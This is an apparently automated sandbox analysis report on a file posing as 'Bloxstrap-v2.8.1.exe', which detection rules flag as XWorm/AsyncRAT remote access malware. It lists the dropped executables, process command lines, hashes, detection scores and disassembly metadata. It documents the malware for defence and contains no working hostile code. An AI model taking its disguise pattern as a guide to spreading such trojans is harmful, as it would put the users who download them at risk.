Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000000.1704735361.0000000000042000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000000.1704735361.0000000000042000.00000002.00000001.01000000.00000007.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\XClient.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\XClient.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	15:11:09
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	15:11:10
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2032,i,14715254586695196426,7062919900721825726,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:11:21
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Roaming\FileExplorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\FileExplorer.exe"
Imagebase:	0x720000
File size:	34'304 bytes
MD5 hash:	EDD87A78E02A4C11C82BB8CCCE9815D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\FileExplorer.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\FileExplorer.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:11:29
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Roaming\FileExplorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\FileExplorer.exe"
Imagebase:	0xca0000
File size:	34'304 bytes
MD5 hash:	EDD87A78E02A4C11C82BB8CCCE9815D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:11:36
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5180 --field-trial-handle=2032,i,14715254586695196426,7062919900721825726,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD9B880D80 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B880E38

Memory Dump Source

Source File: 00000000.00000002.1714225676.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_CZxDiTktSY.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: e2135f055cf4047f8efdad0a249be7a9e888713a9c44d05d47bea34195a98436
Instruction ID: c0ca48161501b12b61a37c57f77fe5760f9615bf05ba116f16979180438c7503
Opcode Fuzzy Hash: e2135f055cf4047f8efdad0a249be7a9e888713a9c44d05d47bea34195a98436
Instruction Fuzzy Hash: DC31876284E3C64FC35357B09C764A17FB09E4722070A41EBD8D4CB5A3D51C6A9AC322

Function 00007FFD9B8810ED Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714225676.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_CZxDiTktSY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5ed4ec969ba5db52bf7602ae2c24e5745e5acb968c363e2a79f9431fdb3df08
Instruction ID: 215e0ec8dcf5e3c8bc54ffb2bd5e412abd40bd058dc97acb887e211bb5b8d89c
Opcode Fuzzy Hash: c5ed4ec969ba5db52bf7602ae2c24e5745e5acb968c363e2a79f9431fdb3df08
Instruction Fuzzy Hash: 1231C821B0D98D4FEB95EB684CB96B87BE1EF9D205B4900BBD45DC31E7DE2898058702

Function 00007FFD9B8809F7 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714225676.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_CZxDiTktSY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5b1da47f9a77c6b35d5df78630e9a06830b49b009b80164248707f1d45e8c61
Instruction ID: 281400869baca8050d907bae108242d4030fa0811b3461e3145da11b0a896d3f
Opcode Fuzzy Hash: d5b1da47f9a77c6b35d5df78630e9a06830b49b009b80164248707f1d45e8c61
Instruction Fuzzy Hash: BA714030A1990D8FEB98EF68C468B6D77E2FF58714F510269E42AD32E5CF38AD458740

Function 00007FFD9B880498 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714225676.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_CZxDiTktSY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc72fd09fc529e3f1396ebd5eb446492b60cc20bf0c35ea0ab7b8f5fc3702e5e
Instruction ID: 00d8ae93dcc5be3701d9c5dfebf185b4d7a021ed02a56b50a61a291f9991b3f2
Opcode Fuzzy Hash: dc72fd09fc529e3f1396ebd5eb446492b60cc20bf0c35ea0ab7b8f5fc3702e5e
Instruction Fuzzy Hash: 34215331B1494D4FEB94FB6888A9AB977D2EF9C305B44007AE41ED3296DE2868458741

Function 00007FFD9B880E71 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714225676.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_CZxDiTktSY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8a1a16b49790a88ebc917216f2e159f206c753f3041d8287ab80356b33887f
Instruction ID: 5b0be85883c7ffbcb06c44cc94ca8a86b0b26b5922f6adee1a46e369ae41764f
Opcode Fuzzy Hash: 4a8a1a16b49790a88ebc917216f2e159f206c753f3041d8287ab80356b33887f
Instruction Fuzzy Hash: 97012B30B2EA894FD3A4D738D8625A973D1EF8C618B510579C059C32D6DE2CA8418782

Function 00007FFD9B8804B0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714225676.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_CZxDiTktSY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 112ce87085e42e820ba58d54991a0816a10b3fe6e4855870e9cba38cd727d470
Instruction ID: d452e82c67f0bc19e53ed864a34e9aa28d5d3b715cbfa1a3409a3a7e15f30774
Opcode Fuzzy Hash: 112ce87085e42e820ba58d54991a0816a10b3fe6e4855870e9cba38cd727d470
Instruction Fuzzy Hash: E6F0F930B2995D4BD764A768D46166E73D1EF8C708B500539D01EC3394DE2CA9428782

Function 00007FFD9B8804A8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714225676.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_CZxDiTktSY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42ee22ccd10c5df3d3a9e0a92d53dc7fb9dd45348a80d8a27b468de46ad0aaa8
Instruction ID: 6e59fc043db8e9246640e460cb80d51d4ef2edc6a5664a9400baf917d7de4041
Opcode Fuzzy Hash: 42ee22ccd10c5df3d3a9e0a92d53dc7fb9dd45348a80d8a27b468de46ad0aaa8
Instruction Fuzzy Hash: B0F0F930B2DA594BE764A77CD8529BE73D1EF8C718B500579D01EC32D9DD2CA8428781

Function 00007FFD9B880F3F Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714225676.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_CZxDiTktSY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93ce483dd4a9bd169a49c55b42ca550a5d067cf48f78d3ab1681384e13ffbdcb
Instruction ID: dde4e64502b051b6030012d29a1a7e607d391d5798a0f42393060b76b317f3e1
Opcode Fuzzy Hash: 93ce483dd4a9bd169a49c55b42ca550a5d067cf48f78d3ab1681384e13ffbdcb
Instruction Fuzzy Hash: FCE08601F59D090BF7986ABC28762B8A3C1EF88614F815035F02DC22DBDD2DAC825242

Analysis Process: Bloxstrap-v2.8.1.exePID: 7148, Parent PID: 6972COMMON

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.9%
Total number of Nodes:	1314
Total number of Limit Nodes:	15

Executed Functions

Function 00007FF72E6B1B90 Relevance: 63.6, APIs: 12, Strings: 24, Instructions: 649COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72E6ADDB0: GetModuleFileNameW.KERNEL32 ref: 00007FF72E6ADE87
Part of subcall function 00007FF72E6ADDB0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6ADF7E

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B2654

Part of subcall function 00007FF72E6AF720: GetFileAttributesExW.KERNEL32 ref: 00007FF72E6AF795

Part of subcall function 00007FF72E6B1880: MultiByteToWideChar.KERNEL32 ref: 00007FF72E6B18F8
Part of subcall function 00007FF72E6B1880: MultiByteToWideChar.KERNEL32 ref: 00007FF72E6B193A

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B252F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B2583
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B25D9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B1DD0

Part of subcall function 00007FF72E6A6BD0: __stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6C1F
Part of subcall function 00007FF72E6A6BD0: __stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6CED
Part of subcall function 00007FF72E6A6BD0: OutputDebugStringW.KERNEL32(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6CF6
Part of subcall function 00007FF72E6A6BD0: SwitchToThread.KERNEL32(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D2B
Part of subcall function 00007FF72E6A6BD0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D5B
Part of subcall function 00007FF72E6A6BD0: fputws.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D6C

Strings

Invoking fx resolver [%s] v1, xrefs: 00007FF72E6B2224
Bundle Header Offset: [%lx], xrefs: 00007FF72E6B210E
The application to execute does not exist: '%s'., xrefs: 00007FF72E6B1F04
The required library %s does not support relative app dll paths., xrefs: 00007FF72E6B2204
The required library %s does not support single-file apps., xrefs: 00007FF72E6B2036
The library %s was found, but loading it from %s failed, xrefs: 00007FF72E6B1FB1
hostfxr_main_bundle_startupinfo, xrefs: 00007FF72E6B2000, 00007FF72E6B2015
hostfxr_set_error_writer, xrefs: 00007FF72E6B211A, 00007FF72E6B2133, 00007FF72E6B2349, 00007FF72E6B2362
%s, xrefs: 00007FF72E6B1FD0
Dotnet path: [%s], xrefs: 00007FF72E6B20E2, 00007FF72E6B2320
hostfxr_main_startupinfo, xrefs: 00007FF72E6B21C4, 00007FF72E6B21DD
- Installing .NET prerequisites might help resolve this problem., xrefs: 00007FF72E6B1FBD
https://go.microsoft.com/fwlink/?linkid=798306, xrefs: 00007FF72E6B1FC9
Host path: [%s], xrefs: 00007FF72E6B20C8, 00007FF72E6B2306
Failed to resolve full path of the current executable [%s], xrefs: 00007FF72E6B260B
The required library %s does not contain the expected entry point., xrefs: 00007FF72E6B226C
Invoking fx resolver [%s] hostfxr_main_startupinfo, xrefs: 00007FF72E6B22EA
Detected Single-File app bundle, xrefs: 00007FF72E6B1E0F
hostfxr.dll, xrefs: 00007FF72E6B1FAA
App path: [%s], xrefs: 00007FF72E6B20FF, 00007FF72E6B233D
Invoking fx resolver [%s] hostfxr_main_bundle_startupinfo, xrefs: 00007FF72E6B20AC
Probed for and did not resolve library symbol %S, xrefs: 00007FF72E6B201C, 00007FF72E6B213A, 00007FF72E6B21E4, 00007FF72E6B2252, 00007FF72E6B2369
A fatal error was encountered. This executable was not bound to load a managed DLL., xrefs: 00007FF72E6B1C60
hostfxr_main, xrefs: 00007FF72E6B2235, 00007FF72E6B224B

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharFileMultiWide__stdio_common_vswprintf$AttributesDebugModuleNameOutputStringSwitchThread__acrt_iob_funcfputws
String ID: %s$ - Installing .NET prerequisites might help resolve this problem.$A fatal error was encountered. This executable was not bound to load a managed DLL.$App path: [%s]$Bundle Header Offset: [%lx]$Detected Single-File app bundle$Dotnet path: [%s]$Failed to resolve full path of the current executable [%s]$Host path: [%s]$Invoking fx resolver [%s] hostfxr_main_bundle_startupinfo$Invoking fx resolver [%s] hostfxr_main_startupinfo$Invoking fx resolver [%s] v1$Probed for and did not resolve library symbol %S$The application to execute does not exist: '%s'.$The library %s was found, but loading it from %s failed$The required library %s does not contain the expected entry point.$The required library %s does not support relative app dll paths.$The required library %s does not support single-file apps.$hostfxr.dll$hostfxr_main$hostfxr_main_bundle_startupinfo$hostfxr_main_startupinfo$hostfxr_set_error_writer$https://go.microsoft.com/fwlink/?linkid=798306
API String ID: 4116425808-2178251435
Opcode ID: e1375572ba1d6c4f4c88fe4cf04e7a3911280a1b63869a1c6e55359016c1642a
Instruction ID: 6fefca2b209ff3f96b2bbd5c48ed79f34b55c3dc6e5106d94541a5a2ba4345b2
Opcode Fuzzy Hash: e1375572ba1d6c4f4c88fe4cf04e7a3911280a1b63869a1c6e55359016c1642a
Instruction Fuzzy Hash: 31629362F18A4285EB00EF64DC543ADA7A3FB44398F90113DDA9D17A99DF7CE485CB20

Function 00007FF72E6A2B50 Relevance: 62.1, APIs: 21, Strings: 14, Instructions: 884windowCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A2BB4
GetLastError.KERNEL32 ref: 00007FF72E6A2BC4
GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A2C1D
_wtoi.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF72E6A2C69
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A2D72
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A2E3B
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF72E6A2FD0
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF72E6A300E
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF72E6A3156
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A3419
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A3420
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF72E6A3495
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A372C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A3733
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A37CE
MessageBoxW.USER32 ref: 00007FF72E6A397D
ShellExecuteW.SHELL32 ref: 00007FF72E6A39B2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A39F3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A3A4C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A3AA5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A3AE1

Strings

runtime installation:, xrefs: 00007FF72E6A3844
Failed to read environment variable [%s], HRESULT: 0x%X, xrefs: 00007FF72E6A2BEB
&gui=true, xrefs: 00007FF72E6A38FE, 00007FF72E6A3919
framework resolution:, xrefs: 00007FF72E6A383D
You must install or update .NET to run this application., xrefs: 00007FF72E6A2E65
Would you like to download it now?Learn about , xrefs: 00007FF72E6A380D, 00007FF72E6A3828
&apphost_version=, xrefs: 00007FF72E6A3688, 00007FF72E6A36A3
6.0.35, xrefs: 00007FF72E6A36F4, 00007FF72E6A3712
DOTNET_DISABLE_GUI_ERRORS, xrefs: 00007FF72E6A2BAD, 00007FF72E6A2BE4, 00007FF72E6A2C16
(, xrefs: 00007FF72E6A38A4
open, xrefs: 00007FF72E6A39A9
Bundle header version compatibility check failed., xrefs: 00007FF72E6A348E
https://aka.ms/dotnet/app-launch-failed, xrefs: 00007FF72E6A3892, 00007FF72E6A38AD
Showing error dialog for application: '%s' - error code: 0x%x - url: '%s' - dialog message: %s, xrefs: 00007FF72E6A3958

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$wcsncmp$EnvironmentVariable$Concurrency::cancel_current_taskErrorExecuteLastMessageShell_wtoi
String ID: https://aka.ms/dotnet/app-launch-failed$&apphost_version=$&gui=true$($6.0.35$Bundle header version compatibility check failed.$DOTNET_DISABLE_GUI_ERRORS$Failed to read environment variable [%s], HRESULT: 0x%X$Showing error dialog for application: '%s' - error code: 0x%x - url: '%s' - dialog message: %s$Would you like to download it now?Learn about $You must install or update .NET to run this application.$framework resolution:$open$runtime installation:
API String ID: 2183938501-2631305323
Opcode ID: 0d897e3b12d4096ef5abf4e78237b8fb34aa6cb146975b861e67acf7ad60b502
Instruction ID: c64ffeb9975399535fe4ce543aca0fd216fadda48907d148fda794c3fa083fee
Opcode Fuzzy Hash: 0d897e3b12d4096ef5abf4e78237b8fb34aa6cb146975b861e67acf7ad60b502
Instruction Fuzzy Hash: 6C929E62E14B8185EB20EF28DC443EC6362FB45798F90523AEA9D47BD9DF78E584C710

Function 00007FF72E6AF090 Relevance: 45.8, APIs: 13, Strings: 13, Instructions: 272
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6AF113
GetLastError.KERNEL32 ref: 00007FF72E6AF123
RegOpenKeyExW.KERNELBASE ref: 00007FF72E6AF1A0
GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6AF1E5
RegGetValueW.ADVAPI32 ref: 00007FF72E6AF265
RegGetValueW.ADVAPI32 ref: 00007FF72E6AF329
RegCloseKey.ADVAPI32 ref: 00007FF72E6AF345
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AF3A4

Part of subcall function 00007FF72E6B3B08: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A1BFD), ref: 00007FF72E6B3B22

RegCloseKey.ADVAPI32 ref: 00007FF72E6AF3C7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AF406
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AF45A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6AF491

Strings

HKLM\, xrefs: 00007FF72E6AED57, 00007FF72E6AF09E
InstallLocation, xrefs: 00007FF72E6AEC16
HKCU\, xrefs: 00007FF72E6AED50
Failed to read environment variable [%s], HRESULT: 0x%X, xrefs: 00007FF72E6AE573, 00007FF72E6AE5E0, 00007FF72E6AF146
Can't open the SDK installed location registry key, result: 0x%X, xrefs: 00007FF72E6AF1B0
_DOTNET_TEST_GLOBALLY_REGISTERED_PATH, xrefs: 00007FF72E6AF10C, 00007FF72E6AF13F, 00007FF72E6AF1DE
Can't get the value of the SDK location registry value, result: 0x%X, xrefs: 00007FF72E6AF335
SOFTWARE\dotnet, xrefs: 00007FF72E6AE4F0
Can't get the size of the SDK location registry value or it's empty, result: 0x%X, xrefs: 00007FF72E6AF3B7
HKEY_CURRENT_USER\, xrefs: 00007FF72E6AE62F
\Setup\InstalledVersions\, xrefs: 00007FF72E6AEA57
_DOTNET_TEST_REGISTRY_PATH, xrefs: 00007FF72E6AE539, 00007FF72E6AE56C, 00007FF72E6AE5A8, 00007FF72E6AE5D9
x64, xrefs: 00007FF72E6AEAD7, 00007FF72E6AEAF8

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseEnvironmentValueVariable$Concurrency::cancel_current_taskErrorLastOpenmalloc
String ID: Can't get the size of the SDK location registry value or it's empty, result: 0x%X$Can't get the value of the SDK location registry value, result: 0x%X$Can't open the SDK installed location registry key, result: 0x%X$Failed to read environment variable [%s], HRESULT: 0x%X$HKCU\$HKEY_CURRENT_USER\$HKLM\$InstallLocation$SOFTWARE\dotnet$\Setup\InstalledVersions\$_DOTNET_TEST_GLOBALLY_REGISTERED_PATH$_DOTNET_TEST_REGISTRY_PATH$x64
API String ID: 1906321200-3907257641
Opcode ID: a3da8de52bef36f7efd1a1da09efed2b57dc1bf395dbb5a9f50180db08b99203
Instruction ID: 367b887241a0faa1c1dd4e30d032bc8b9bc3f31f23fb488f5391c959a871ad7f
Opcode Fuzzy Hash: a3da8de52bef36f7efd1a1da09efed2b57dc1bf395dbb5a9f50180db08b99203
Instruction Fuzzy Hash: D5B1A332F18A4188EB10AB62ED542ADA3A3FB44798F80423DDA5D57BD9DF3CE405C750

Function 00007FF72E6B11C0 Relevance: 44.2, APIs: 9, Strings: 16, Instructions: 427
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B129E

Part of subcall function 00007FF72E6A7060: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A71B3
Part of subcall function 00007FF72E6A7060: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A7224

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B1533

Part of subcall function 00007FF72E6AF090: GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6AF113
Part of subcall function 00007FF72E6AF090: GetLastError.KERNEL32 ref: 00007FF72E6AF123
Part of subcall function 00007FF72E6AF090: RegOpenKeyExW.KERNELBASE ref: 00007FF72E6AF1A0
Part of subcall function 00007FF72E6AF090: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AF406

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B1670
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B16B6

Part of subcall function 00007FF72E6AE200: GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6AE25D
Part of subcall function 00007FF72E6AE200: GetLastError.KERNEL32 ref: 00007FF72E6AE269
Part of subcall function 00007FF72E6AE200: GetCurrentProcess.KERNEL32 ref: 00007FF72E6AE29D
Part of subcall function 00007FF72E6AE200: IsWow64Process.KERNEL32 ref: 00007FF72E6AE2AB
Part of subcall function 00007FF72E6AE200: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AE456

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B170D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B1784
